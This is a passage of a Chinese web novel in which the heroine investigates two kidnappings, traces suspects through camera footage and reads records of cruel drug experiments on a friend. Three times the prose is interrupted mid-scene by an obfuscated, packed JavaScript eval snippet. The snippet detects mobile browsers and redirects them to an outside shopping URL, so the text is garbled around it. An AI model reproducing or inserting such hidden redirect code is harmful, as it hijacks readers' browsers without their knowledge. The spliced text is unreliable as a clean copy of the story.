哪怕他们现在就算把赫伯特·霍尔的脑袋卸了,系统也不会判定任务成功,因为它已经选择了新的人选。 况且如果杀错了人也会大大降低评分,她可不想讨没趣。 邬涟思考了一下其中的意思,然后像在看一个精神病患者般看向她:“为什么?” 他们到现在也不知道C-012里的赫伯特·霍尔就是现实中的本尊,还以为这只是个普普通通的考核呢。 嬴欢当然不可能把特制手铐这件事告诉他,只得含糊道:“呃——女人的第六感?” 邬涟抓了抓头发,“那你找来这些证据有什么用?”深吸一口气,勉强忍住了发飙的冲动。 嬴欢俯下头颅,与他面对面相视,镇静地说:“还记得我们彼此的身份么?” 实验体、研究室负责人…… 邬涟突然想起来邬蘅那家伙隐瞒身份的事,他向她解释道:“对了,邬蘅的身份其实是警方安插在研究所的内线,她前些日子还还被邀请做了匿名采访。” 每次打开电视机就是她的采访在反复重播,虽然节目组加了变声器,但作为亲哥哥还是觉得别扭极了。 但是话又说回来,如果没有邬蘅,他们也拿不到警方的补贴,直接拖家带口一起睡大马路还差不多。 “那就说得通了。” “?” “你没发现这三张角色牌的特点吗?”嬴欢掐着下巴,“故事线围绕着研究所展开,无论是你、我还是邬蘅,我们的‘箭头’都收束在同一个人身上。” 那双黑葡萄似的眼睛慢慢张大,嘴唇上下蠕动:“赫伯特·霍尔。” 眼前的少女点了点头,眉眼认真,“系统不可能发放一个无关任务的身份,你我所掌握的一切都可能指引我们找到答案。” 邬涟感觉她在说废话,但又没理由反驳,只能故作听懂的模样。 少女隐晦地扬了扬唇角。 这个弟弟真的很好糊弄,哪天真该让邬蘅带他去听一听反诈骗讲座之类的,不然扔进社会里也只有被骗的份。 * 壮汉服务员举着托盘,一脚踹开了大门,本就不坚固的木门更是摇摇欲坠。 邬涟还有很多想问的,但事已至此他也说不出口了。 两碗清汤面摆放在桌上,热气腾腾,香味四溢。 嬴欢直接拆开筷子,毫不顾忌地大口吃了起来。 她仔细咀嚼了两下,不禁挑了挑眉尖,火候正佳,咸淡合适。 味道出奇得好。 邬涟沉默地挑着面汤中的香菜,菜叶泛着油光,像菌落般播撒在白花花的面条中。 独特的草本香气隐隐飘进鼻腔,他压住反胃的冲动。面前的人却吃得很香,就像几百年没吃过饭的饿死鬼。 她这些日子都经历了什么? 回想起这几天的新闻,霍尔被警方带走调查,研究所的事情也已经败露。霍尔集团倒下已成定局,这一切难道和嬴欢有关吗? 可她真有这么大能耐么,邬涟戳着面条,心不在焉地想。 这边的嬴欢已经只剩个碗底了,从面碗中抬起头,睨了眼对面的邬涟,“你不饿?” 一只体积庞大的苍蝇从邬涟眼前飞过,他心跳一滞,立马把自己的面推给了她。 嬴欢也不客气,一个人吃两碗面而已,小case啦。 少年全神贯注地盯着房间的每个角落,突然,他举起手机用力一拍。 整个桌面摇摇欲坠。 嬴欢从面碗里抬头看他,只见他的表情放松了不少,她向手机下方一看,一只苍蝇被砸了个稀巴烂,腿部还在颤动。 “……看什么看。” 嬴欢无语,只好继续把头埋在面碗里。 空气安静到有些尴尬,少年用餐巾纸擦拭着五指,时不时瞟一眼默默进食的少女。 “失去记忆是什么感觉?” 邬涟突然发问。 嬴欢咀嚼着汤里的花生,盯着那双深褐色的眼睛看了一会儿。 邬明仪并没有刻意隐藏自己的病情,他能查到这些也不奇怪,她撑着下巴想了想,“对一切都茫无所知,就像自己刚刚诞生在这个世界一样。” 百分之九十的记忆缺失,几乎囊括了她曾经对世界的所有感知。但要真论起来,那种感觉既不是陌生,也不是熟悉,反而是一种淡淡的无力感。 邬涟敛着眼眸,眼尾轻轻垂落,像雨后被寒风摧残的柳枝。 那么,失忆前的她又是什么样子呢? 他对她实在太陌生了,哪怕他们是法律意义上的姐弟。 当年邬明仪二话不说就领养了一个没有血缘的女儿,尽管从未带她回过邬家,但邬涟一直都很厌恶这个名义上的姐姐。 试想一下,一个幸福美满的家庭在某天突然强行加入了一个背景神秘的陌生人,甚至没有经过他与邬蘅的同意,便分走了母亲绝大部分的爱……这绝不是一朝一夕就能消除的恨意。 然而幼时的他也绝对想不到,自己有一天会和最讨厌的人共处一室,甚至还能面对面聊着过往。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930899|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你,究竟为什么会失忆?” 如果不是这次的事故,他们恐怕永远也见不上嬴欢一面。 也不知道邬明仪到底为什么对她这么用心,这么多年来甚至不允许身为家人的他们见一见这个少女,难道她已经金贵到连他们都要提防着? 对于这件事情的怨气一直延续了许多年,邬涟自己与母亲的关系也变得越来越差,他把这一切都归咎于来路不明的少女身上,毕竟这是最简单、最有效的做法。 是的,他从一开始就讨厌她,以至于早早预设好了她的人格──她渴望钱财、渴望权力,她在利用邬家以达到某个不为人知的目的。 简直就像名人圈里臭名昭著的切茜娅·雪莱──生下雪莱家族唯一子嗣梅瑟·雪莱的女人。 用孩子逼退原配夫人,再亲手杀死丈夫,将整个雪莱家族收入囊中,被奉为当代“最毒妇人心”的代表人物。 他们之间不可能是和谐的,他想。 嬴欢并不知道邬涟已经脑补出了一部长篇大论,她还在思考他提出的问题。 “关于失忆这件事的前后经过,我确实记不得了。但是,邬泽上将说他会彻查这件事,到时候你可以去问他。” 毕竟白梦长廊和军方之间的关系密切,嬴欢作为肃清者出了这么严重的事故,军方当然要负相应的责任。 不过,她相信邬泽不会告诉他什么有用的信息,哪怕他们是亲兄弟又怎样。 嬴欢自认为回答得相当真诚,但对面的邬涟好像并不这么想,不知道是其中哪个词语刺激到他的神经了,少年用恶毒的眼神死死凝视着她。 为什么,为什么连邬泽也要站在这个外来者的一边。邬涟咬着嘴唇,他的心脏隐隐作痛,眼睛红得惊人。 “邬蘅虽然是我的亲妹妹,但她和我一点儿都不一样,从小到大我们就没有过相同的兴趣爱好。” 他们无比讨厌彼此喜欢的东西。 “你想说看我很不顺眼,对吗?”嬴欢边喝汤边看他,对他的话外之意毫不避讳。 邬涟在座位里缩成一团,他一只手攥紧发痒的喉咙,闭上眼睛静静地呼吸空气。 尽管姿势有些狼狈,但仍然高昂着首,丹凤眼的斜下方点缀着两颗小小的泪痣,像代表无上荣耀的钻石。 他的神色中充满了眼前少女的鄙夷。 “呵,只是感叹一下罢了,你不会生气了吧?”她其实说得没错,他们在嬴欢这一点上仍然保持着这个定律。 嬴欢放下筷子,这小少爷怕不是从小就开始修炼茶艺课了吧?可惜,在她面前卖弄“茶艺”相当于自取其辱。 她又没义务惯着这个所谓的“弟弟”。 “你说得对,我对邬家不仅抱有野心,而且势在必得。等哪天心情不好的时候,我会第一个干掉你。” 少年那双漂亮的眼睛瞪得老大,在火焰般耀眼的红发衬托下,像一只被气急的花栗鼠。 “你……你!”他就差指着鼻子骂了。 “开玩笑罢了,你不会真信了吧?”少女露出揶揄的笑容,虽然是在笑,但那两只深邃的瞳仁里却透着几分生冷。 以牙还牙,以眼还眼——这是弱肉强食的世界中,最疯癫却又最有效的生存法则。 36. C-012(十六) “老板,麻烦再来三份面,打包。” 嬴欢来到走廊,从口袋中摸出一张百元大钞,递给门口正在看电视的老板。 电视机里正在重播近日的新闻。 【六月二十一日凌晨,霍尔集团遭受不明人员袭击,造成一人轻伤,六人重伤,警方在现场发现枪战痕迹。】 【同一时刻,赫伯特·霍尔于家中遇袭,现在仍处于昏迷状态中,医院称其尚未脱离危险。】 【据相关记者报道,霍尔曾在镜头前坚称自己无罪,否认外界一切指控……】 老板正嗑瓜子嗑得不亦乐乎,一个没注意便和身边的少女撞了个踉跄。 “哎呀”一声,女人那两条细长的眉毛拧成一股麻绳,尖利的眼神立马射了过来。 而嬴欢却根本没注意到老板狰狞的脸色,直接略过了她,直视她身后的电视屏幕。 女人一把抢过她手里的纸钞,在腰间的口袋里翻找了一会儿,掏出十几枚老掉牙的硬币,两只粗糙的手来回数了数,全部塞进了嬴欢的手心里。 “……”少女的注意力全在新闻里的报道上,哪怕有几枚硬币从指缝里掉落,也没能让她移开一丝目光。 老板上下扫了这小姑娘几眼,暗道一声怪模怪样,便也由着她去了,揣好钱包步伐悠闲地朝后厨走去。 四周仅剩下她一个人。 “不要脸的东西。” 灰发少女盯着电视机里那张熟悉的面孔,嘴唇微微张合。 她低头看着手里的硬币,一股无名火从脑袋里冒了出来。 嬴欢攥住满当当的硬币,四处扫了扫,最终把它们全部丢进了柜台上那只金蟾蜍的底座下面。 就当作随手的小费吧。 回到房间,恰好看见某人像个小孩似的,趴在窗口向外面张望。 听到脚步声,邬涟骤然收回了视线,直勾勾盯着方才回来的少女。 小少爷的脸色煞白,那原本张扬狂野的红发,此时此刻却将他衬托成了一只可怜的羊犊。 嬴欢一脸冷漠地与他对视着,最终少年还是在她的目光里败下阵来。 他看着地板缝,不情不愿道:“既然你说霍尔不是反叛者,那你对真正的反叛者有什么头绪?” 时间分秒流逝,他们真的不能再消耗下去了。 嬴欢缩在椅子里,直愣愣地盯着窗外的山峦,这刚一吃完饭,瞌睡虫就上来了。 胃部被食物填满,强烈的饱腹感伴随着睡意一并到来。她强撑着让自己打起精神,但眼皮却不听话地一睁、一闭,像卷闸门似的开开合合。 “喂!”邬涟快步走到她身边,用指骨敲了敲她面前的桌子,发出几声清亮的脆响。 “没有头绪。”少女打着哈欠道。 她现在真的只想好好睡一觉。 * 路上,邬涟简单介绍了一下出租屋的情况。 “那里地段比较偏僻,租金便宜,隐秘性好。目前有三个房间,邬蘅、斐一然、戚肆各一间。” 据说房租这么便宜是因为以前发生过命案,对别人来说是凶宅,对他们来说可是实打实的捡漏。 嬴欢一路上踢着石子,提着两只打包盒无精打采道:“那你呢?睡地上?” “客厅沙发。”邬涟悻悻地瞪了她一眼。 “你可以和邬蘅睡一间,当然如果你更喜欢挨着斐一然,我也不拦着。”嘴上是这么说,语气可不是如此。 嬴欢挑了挑眉:“你好像对斐一然意见挺大的?” “我只是对任何反叛预备役保持警惕。”邬涟一本正经地翻了个白眼,实际上快把手里的餐盒捏碎了。 打开大门,嬴欢本以为会有热烈的迎接,然而现实却是──冷清得很,没有一个人在客厅里。 整个出租屋安静得诡异,只有时钟滴答转动的声音。 嬴欢几乎瞬间就察觉到了其中的不对劲。 邬涟看了看她的表情,又环望了一圈客厅,眉梢轻轻一皱,甚至来不及放下餐盒,直接向邬蘅的房间走去。 “邬蘅?邬蘅?”是急促的敲门声。 得不到妹妹的回应,邬涟当机立断踹开了房门,他的瞳孔骤然紧缩。 里面空无一人。 与此同时,嬴欢快速卸掉了其他两个房间的门锁,同样也是找不见半个人影。 少女抬头望向墙上的时钟,确认时间为11点42分。 这个时间,斐一然应该早就回来了才对! 脊背一阵发凉,嬴欢一只手撑在墙上,家里并没有洗劫的痕迹,没有打斗、没有拖拽、没有挣扎…… 她心中充满了疑团。 “我去报警──”邬涟大步就要往外走。 嬴欢一把扯住他的肩膀,直接否定他的想法:“不,我们两个现在的身份都不适合报警。” 不仅报警后效果甚微,还可能把他们自己都搭进去。 邬涟的心中逐渐升起一股强烈的不详预感,他的嗓子眼仿佛有一万只蚂蚁爬过。 “我们难道要在这里坐以待毙吗?” 嬴欢没有一句废话,直接向他道:“电脑有吗?” 邬涟直奔妹妹的房间,在琳琅满目的化妆用品里,他看到了桌面上的笔记本。 这是老房东淘汰的物件,操作系统勉强还可以运行,邬蘅平时会用它来整理一些文件。 嬴欢双腿盘坐在沙发上,她接过他手里老旧的笔记本电脑,打开启动键,指尖在键盘上飞速敲击。 邬涟只能干坐在少女的身边,双手合十,祈祷这破烂笔记本能发挥出一丁点儿作用。 附近的监控摄像头少得可怜,嬴欢直接黑进了道路摄像头,寻找可疑人物和车辆。 很快,斐一然的身影出现在屏幕中。 10点13分,斐一然出门。 10点33分,嬴欢与斐一然相遇。 10点50分,二人分道扬镳。斐一然朝着出租屋的方向走去。 嬴欢看见女孩儿开心地捧着橘子蛋糕,眼眶渐渐发酸,她下意识地用牙齿碾过唇瓣,食指点击空格键。 11点03分,斐一然彻底消失在监控中。此时,她距离出租屋不到70米。 嬴欢把时间调前,更加仔细地观察其中的可疑点。 10点59分,斐一然突然有个奇怪的举动,她回头向后看去,动作大概保持了十秒钟。 她看去的方向是个监控死角,嬴欢只好同时调出数个监控,分析她最有可能看见的东西是什么。 几番对比后,嬴欢摁下空格键。画面中停留的是一辆黑色面包车,镜头很模糊,嬴欢无法得知车内的人数,甚至连车牌号都认不出来。 她为什么会看一辆车?因为车本身?还是因为里面的人? 嬴欢再次将进度条调回至10点59分23秒──斐一然回头的那一瞬间。 一帧一帧地观察她的动作,在她重新回头往出租屋走时,脚下的速度明显快了很多。 是因为忌惮么?还是别的?嬴欢陷入了猜测,连呼吸都变得微不可闻。 忽然,许久未说话的少年眉头紧锁,一把抓住嬴欢的手,对她喊道:“她就在这辆车里。” “谁?” “邬蘅,是邬蘅。”孪生兄妹间说不清的感应让他脱口而出。 画面里的车窗只有几个模糊的黑影,连里面有几个人头都看不出来。嬴欢颇为奇怪地看了他一眼,继续调出不同角度的监控,进行降速播放。 这次的画面迎着阳光,可以更好辨别其中的线索。 咔嗒。 嬴欢敲下空格键,沉着眼皮仔细观看,得出简单的结论:“里面有三个人。” 一个负责驾驶车辆的男司机,一个健壮的黑衣墨镜男,一个有着荧绿色挑染的年轻女性。 他的预感不错,里面的人正是邬蘅。 车里的女孩儿眼睛被蒙着黑色布条,整个人挤在窗户旁边,像是完全失去了意识。 * 两根手指紧紧掐着下巴,眼下的嬴欢已经恢复了冷静,目光平淡而镇定。 她试图从视频中分析出更多线索。 两个男性的脸上都蒙着黑色面罩,能看得出来,他们的目标非常明确,摆明了就是奔着邬蘅去的。 而斐一然之所以回头驻足,或许正是瞥到了车窗里一闪而过的荧绿色头发,她加快脚步赶回出租屋也是想为了确认自己的猜想。 会是谁干的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972573|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指缓慢地插进发间,嬴欢的脑海里一团乱麻,她不敢想象邬蘅现在正经历着什么。 少年坐在她的身旁,盯着电脑屏幕上那两个模糊的身影,两只手交叉攥紧,用力到泛白,双眸染上可怕的猩红。 他一定要亲手宰了这两个崽种,无论他们是谁,他在心中默念。 * 很明显,斐一然和邬蘅消失的时间并不重合,嬴欢打算先从邬蘅的身份出发。 邬蘅给警方提供了不少有关研究所的确切资料和关键证据,对于霍尔的调查也是她在背后推动。 最恨她的人莫过于霍尔集团的残党或者其他因为这次事件受到牵连的人物。 那斐一然呢?斐一然不过是个无权无势的孤儿,既没有什么卧底身份也没有什么仇家,为什么也会不见踪影? 对他们来说,斐一然的最后一段路程相当于凭空消失,因为最后70米已经完全进入了视野死角,无法得知什么有效信息。 嬴欢起身,直奔室外。 邬涟看见她在必经之路上来回一次次地寻找,大概十五分钟后,嬴欢空着手上来了。 “你在找什么?” “蛋糕。” 如果室外和室内都没有蛋糕以及蛋糕包装盒的踪迹,那么说明斐一然在进门之前就已经“消失”了。 不对,他们还忽略了一点。 嬴欢猛然抬起头,眼神一凛。 除了斐一然之外,“凭空消失”的还有一个人! 嬴欢甚至来不及歇口气,直接奔向074的房间。 074的生活很简约,和他瘦瘦小小的外表相当适配,房间里只有一张床和一个衣柜。 被子放在枕头上,被角叠得十分板正,整个房间整洁得根本看不出来有人居住过的痕迹。 房间里的所有角落都被嬴欢扫视了个遍,四面是明晃晃的墙壁,杂物极少,几乎隐藏不了什么大型物件。 邬涟身体力行地把074的床翻了个底朝天,结果显而易见,什么都没发现。 嬴欢转过身去,在那个不起眼的衣柜面前停了下来。 她触碰着半透明的衣柜门,将手指搭在塑料把手上。不知道为什么,她有些无由头的紧张,仿佛这背后是什么妖魔鬼怪似的。 她深吸一口气,将衣柜打开。 一身朴素的衣服叠好放在衣柜的最低部,每个角都是标准的直角,显得无比诡异。 她慢慢俯身,小心地挑起其中一角,底下什么也没有。 “这是研究所给实验体们的统一服装。”邬涟凑上前去,摸了摸衣服的口袋,“等一下,好像有东西在里面。” 他拎起衣服,从口袋里拿出一张光滑的类似于圣诞贺卡的东西,上面用黑色圆珠笔写了一连串的字符,以及一只难看的鬼脸。 “是写给你的。” 邬涟只看到前面几个字便嫌弃地扔给了少女,嬴欢听到他的话不禁觉得奇怪,接过那张薄薄的卡片,逐字阅读。 「嬴欢,我知道你会看到这封信。这也许是我们间最后的对话了,想必你已经发现了一些异常,比如斐一然、比如我的身份、比如你潜意识中的疑惑与愤怒。」 从笔迹中能够看出,写信者至少接受过一定的教育,字体相当工整、优美。 少女皱着眉继续往下看。 「对了,邬涟这个时间大概也在你身边吧?如果在的话就请帮我问个好。毕竟他也算得上我半个“饲主”了,感谢他的泡面让我度过这段无聊的日子,不过下次就别买酸菜味的了,难吃。」 「或许你会以为我写这么多是想告诉你哪怕一丁点儿线索,可惜啊可惜……你的想法落空了,我单纯只是想让你露出愤慨的神色,谁让你当初坏了我的好事呢?」 「哦,上一句好像暴露了点儿什么。不过无所谓了,嬴欢──我们这辈子都不会再见面了,希望你一直、一直在痛苦中活下去。」 卡片的正反面都写满了密密麻麻的小字,最后一个标点符号恰好落在角落,可以看得出来,笔者对排版规划得很清晰。 然而,笔迹有多赏心悦目,行文就有多惹人生厌。 这语气、这措辞,她不敢相信这封信竟然是那个老实巴交的074留下来的。 37. C-012(十七) “呵,真是个白眼狼。” 邬涟一拳将衣柜门砸出了个大洞,如果不是嬴欢先行拿走了卡片,恐怕下一秒就会是满地碎纸了。 这一切都是他做的? 真的是他吗? 嬴欢用指腹轻轻蹭过油墨,已经干涸了有段时间,至少三个月以上,并不是近期的产物。 也就是说,074至少在三个月前就已经有了绑架的想法甚至方案。 少女的后背紧紧贴住衣柜,手心里的贺卡像一只烫手山芋。 她后悔当初把这小子推给斐一然了,这个王八蛋,就应该让他死在那场爆炸里! “难不成……难不成他也是霍尔的人?” 邬涟绷紧眉头,他一边抓住鲜红的头发,一边咬紧牙关,衣料下方的胸腔开始隐隐颤抖。 嬴欢没有说话,静静抚摸着凹凸的笔迹。074留下的信里只提到了斐一然,并没有提到邬蘅,她怀疑很有可能绑架她们的是两拨人,只是时间恰好吻合罢了。 根据监控,邬蘅被绑架的时间要更早一些,而且是从家中被带走的。 那个时间段,074一定还在出租屋内(至少在出租屋附近不远处),只有这样才有足够的时间带着斐一然离开。 “不一定。”她回答。 实验体的身份很有可能是故意伪装的,但这样做目的是什么呢?如果他和霍尔、和研究所处于同一战线,为什么又会以实验体的身份潜入研究所呢? 嬴欢更偏向于074和研究所是相对的立场,可是他带走斐一然的动机是什么呢? 斐一然可是救过他的命啊,何况他们满打满算也相处了整整一年多的时间,难道这一年里还不足矣让他放下心中的念头吗? 还是说他想报复的其实是嬴欢? 还记得信上的某句话──「我希望你一直、一直在痛苦中活下去。」 嬴欢只知道自己和074见面的时间不超过十分钟,更别提连话都没说过几句,到底哪里会得罪到他呢? 抱着怀疑的心情,她花费了一些时间查询到了074的曾用地址,在还没有进入到研究所之前,他一直蛰伏在边境几个小型城市。 嬴欢现在越来越觉得这是一场蓄谋已久的阴谋,074费尽心思进入研究所,或许是想从中得到到什么东西。 他信中那句“你坏了我的好事”,也许就是在说她把研究所炸了的事情。 她亲手毁了研究所,他想要的东西随着灰飞烟灭。而现在,嬴欢只要寻找到他想要的那个东西究竟是什么,也许就能够解开这个谜团了。 * 嬴欢从口袋里拿出U盘,插进电脑,寻找当年有关074和斐一然的相关资料。 按照编号顺序,第一个映入眼帘的是嬴欢的资料。 【编号001,耐受等级:S+,情绪稳定等级:F,危险度:极高。】 …… 【编号033,耐受等级:S,情绪稳定等级:F,危险度:高。】 …… 【编号074,耐受等级:B,情绪稳定等级:S+,危险度:低。】 翻阅了大半个资料,鼠标指针最终停留在编号033的身上。 照片上是斐一然八九岁时的模样,背景是某研究所的老式格子窗户。镜头中的女孩儿无论是神态还是年纪,都和现在的斐一然相差很多。 嬴欢隐隐觉得哪里有些怪异,其他实验体的资料照片都拍摄于近期,只有斐一然的照片与众不同。 她竟然这么在小的时候就进入研究所了? 明明她们第一次见面时,都是被绑住了手脚,和一群人一起困在充满化学试剂的实验室里…… 为什么?她是怎么活下来的?她和研究所究竟有什么渊源?一个个疑问涌了上来,嬴欢点击子文件夹,再继续点开其中的文档。 文档中记录了斐一然从十岁到十八岁的“试药”过程,照片、录像、实验过程与总结,应有尽有。 随着鼠标滚轮一点点往下滑动,嬴欢一只手缓缓捂上嘴巴,眉头紧锁。 她随机点开一张图,放大。 那是一只血肉模糊的手臂,乌黑的淤青伴随着大小不一的脓包,密密麻麻的针孔就像一大片被烧焦的虫卵。 顺着手腕再往下看去,是五根水肿到发亮的手指,指骨上的褶皱因为肿胀而消失,鼓鼓囊囊的手掌在闪光灯拍摄下,透着半透明的红光。 一瞬间,寒意彻骨。 身边的小少爷悄无声息地把沙发扶手抓出好几道印子来,认真地说,他经历过不少顶级血腥的场面,但冲击力远远不及这张图片带来的千分之一。 因为愤怒而疯跳的心脏此刻像被突然泼了盆冷水,他盯着那张无比刺眼的图片,嘴唇半张,想说什么但又说不出来。 他忽而想起来一件小事,斐一然似乎总是很在意自己的手臂,从来不穿短袖和连衣裙之类的衣服,哪怕是夏天也同样把手臂遮盖得严严实实。 这下总算是有合理的解释了,谁都不想让别人知道自己不堪的过往,更何况这种惨绝人寰、使人毛发森立的记忆呢? 不过经历这些后的她竟然没变成一个疯子,这可真让人惊诧,他心想。 嬴欢快速扫读至少几百行的实验报告,提取其中的重点信息,譬如时间线。 这些年来斐一然被各路辗转至多个地下研究所,宛若商品一样,在这条见不得光的产业链中流通。 不过,最先引起嬴欢注意的点是──这几家所谓的“研究所”,背地中竟然都和赫伯特·霍尔有或多或少的牵扯。 至于是怎么发现的──U盘拷贝的资料中涉及到了许多加密邮件,其中就包含了霍尔与研究所负责人们的邮件往来,他们的话题十之八九都是关于斐一然的情况以及相关的实验进度。 因为女孩儿的特殊体质,在漫长的八年时间里,实验人员对斐一然进行了至少上百次的药物实验。 文件里一张张触目惊心的图片记录了斐一然从九岁到十七岁的人生历程,试药、试药、无穷无尽的试药。 其中小部分甚至涉及到了致幻剂、强力催吐剂、曼陀罗毒素等。 他们把她当成一只百毒不侵的“小白鼠”,摒弃了现代社会的伦理、道德等种种所有禁锢,一再突破人性的底线。 他们是活脱脱的恶魔。 攥着鼠标的指尖从滚轮上滑落,少女缓缓闭上眼睛,灰色头颅宛若教堂里泫然泪下的圣母像那般低垂着。 周身萦绕着低气压。 也不知道现实世界的情况变得如何了,嬴欢出神地想。 她现在无比想要退出这个世界,回归现实的拥抱。 她不能再在这里待下去了,她想弯腰干呕,想要声嘶力竭地大喊,想要撕裂眼前的每一个人。 * 有研究显示,如果一个人长时间生活在克隆世界中,就会产生一种难以剥离的感觉,严重者甚至于会混淆虚拟与现实。 嬴欢觉得自己现在就正处于现实与非现实的边界线处,她觉得痛苦极了,因为她从抽象的代码中看到了活生生的人。 那是无论作为「肃清者」还是学生都未曾体会到的情绪。 邬涟叫了她几声,却得不到应答,心头顿时多了几分担忧。 他板正她的身体,来回用力摇晃了几下,语气充满恨铁不成钢。 “喂,嬴欢。你应该知道这只是‘过去’,而不是‘现实’对吧?” 虽然说克里斯每年都有学生沉溺于任务世界而不愿醒来的案例,但他是真没想到嬴欢竟然也会这种预兆。 这不对劲,太不对劲了。 总是瘫着一张脸、习惯性假笑的嬴欢,竟然也会有共情能力?真是年度第一大荒谬事件。 也不怪邬涟这么想,毕竟少女在挑选宿舍那天,严声拒绝邬蘅的时候可不是这样的。 他甚至更愿意相信,眼前这家伙是只偷偷跑进来的“拟合体”,不然这一切真的解释不通。 嬴欢拂开肩上的手,她的眸中并没有什么明显的情绪,可从紧蹙的眉上能窥察她的内心并不平静:“我知道,但……” 回到自己的过去,以另一种视角观察和了解当时的世界,发现更多历史车辙下的寻常人──这本身就是一种世界观的颠覆。 而更可怕的事实是,几乎所有、所有的星球的角落都有黑暗滋生,可被迫生存于黑暗中的人们却总是被故意忽略。 整个宇宙中有数不尽的“霍尔”,数不尽的“斐一然”…… 邬涟察觉到了她身上的抽离感,棕褐色的眼睛里盛满不解。 此刻的他烦躁极了。他不知道眼前的嬴欢是犯了什么病,怎么突然变得和食堂里卖煎饼大妈一样多愁善感。 他看了眼墙上的时钟,12点45分,距离邬蘅失踪已经过去了近两个小时。 她不能再这样下去了,至少现在不能,邬涟这般想着,直接合上电脑屏幕,用相当讥讽的语气道:“姓嬴的,你以为你是来这儿当什么救世主的吗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019915|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你总是把自己想象得那么高大,实际上呢?你到底知不知道邬蘅直至现在都还生死不明呢!”邬涟紧皱着眉。 到底是邬家的孩子,他承认自己对妹妹的失踪反应确实很大,但他实打实接受不了嬴欢竟然还有工夫去心疼别人。 少女颈边的青筋猛烈地跳动着,灰色的瞳孔缩成一道针芒,她依旧未说哪怕一个字。 “醒醒吧,他们不需要谁来拯救。” 别再沉溺于远方的哭声了。 他们的命运在克隆世界之外早就有了定数,无论是邬涟,还是嬴欢,他和她都动摇不了什么。 年轻的语气那般坚定,那般不容置疑。 耳膜微微嗡鸣,细碎的片段在黑暗的脑海中不断闪回,胸腔里那只有拳头大的心脏以十分不正常的速度跳动着,她在黑暗中睁开眼睛,好像看到了什么── 一个蓬头散发、被村民们围攻的女人; 一个经丈夫抛弃,与心爱的女儿异地分隔的女人; 一个经历了悲惨的童年,由数不尽的药物抹杀去自我的女人; 还有最后一个──失去几乎所有记忆与方向,半只脚踏入虚无的女人。 她们被困在同一个地方。 * 醒醒,醒醒。 有声音在虚空中回荡。 嬴欢再次睁开眼睛。 不知何时,身边的场景变了一番模样,她身处于一片混沌之中。 这里并不是极致的黑暗,倒像日出前的黎明时刻,雾蒙蒙的一片,什么都消失了。 她听不到周围的声音,也看不到周围的事物。 “尤拉?是你吗,尤拉……”她抱着一丝希望。 没有人回应。 她的脸上没有失落,也没有哀伤。忽然,暗亮的光晕从前方一点点显现,她迈着大步向前走去,去靠近,去触摸。 等她走近才发现,那是一道白色的裂隙,浅浅的光芒从中流溢而出,沙子般的光粒像有知觉般,缠绕住她的手指。 “嗯?” 嬴欢的眼珠轻微地动了动,她的手伸向裂隙。 刺啦── 就在一瞬之间,那道缝隙被其他外力撕扯而开。 心头升上一股不详的预感,她向后退去。 很快,一只黑黢黢的虫子从里面挤了出来,抖动着饱满的腹部。 少女的眸子有一丝惊诧闪过。然而,那只虫子只是以极快的速度略过她,消失在了远方的黑暗中。 就在嬴欢回头弥留之际,裂缝变得越来越宽,三两只虫子莽着劲儿冲了出来,接着是更多。 一大群虫子如浪潮般从缝隙里踊跃而出。暗红色的翅膀包裹着虫身,振翅声高昂而激荡,像远古战场里的号角。 “啊……” 嬴欢的嘴唇有些不知所措地张开,她被虫群环绕,耳边的声音无比嘈杂。它们每个都有网球那般大小,飞行轨迹看起来复杂多变,有的甚至直直擦过她的皮肤和眼睫毛。 它们充满了攻击性,但并不是针对嬴欢,而是这片寂静的神秘空间。 虫群仿佛有分工般的,几只较为强壮的朝着深处的黑暗飞去,剩下的则留下来继续围绕着少女。 “你们──是在保护我吗?” 嬴欢后知后觉才看懂它们的行为,它们虽然不会说话,但全身的绒毛都在抖动着,仿佛在回应她的话语。 她随手托起一只雌虫,它的口器轻轻蹭过手心,纹路诡谲的翅膀向内收拢,就像是一屁股坐在了那里。 少女笑了起来,她不但对这些小家伙们没有陌生的感觉,反而感到十分亲切。 “咔嗒”一声,世界忽然变亮了,她微微眯了眯双眸。 光线从四周映入眼底,嬴欢昂首环望,才发现这里原来是尤拉的那座“秘密基地”。 花里胡哨的彩灯缠绕在绿杉的枝叶上,她站在熟悉的喷泉前,却没有看见尤拉的身影。 也许是某一只小虫找到了这里的开关,她想。 她向喷泉走去,近乎透明的激流起起落落,水花四溅。 凉爽的水珠挂在她的发间,她感觉到血脉中的躁动被轻柔地安抚下去,虫群渐渐消散,仅留下点点光粒垂落在她的指尖上。 她望着脚下的五角星地砖,脑海里忽然回想起尤拉的警告──「如果被强制拉入了这里,那么说明你的精神值已经岌岌可危了。」 嬴欢恍然意识到,自己的精神状况正在濒临崩溃。 她正在走向毁灭。 38. C-012(十八)现实剧情…… 现实世界,45个小时前。 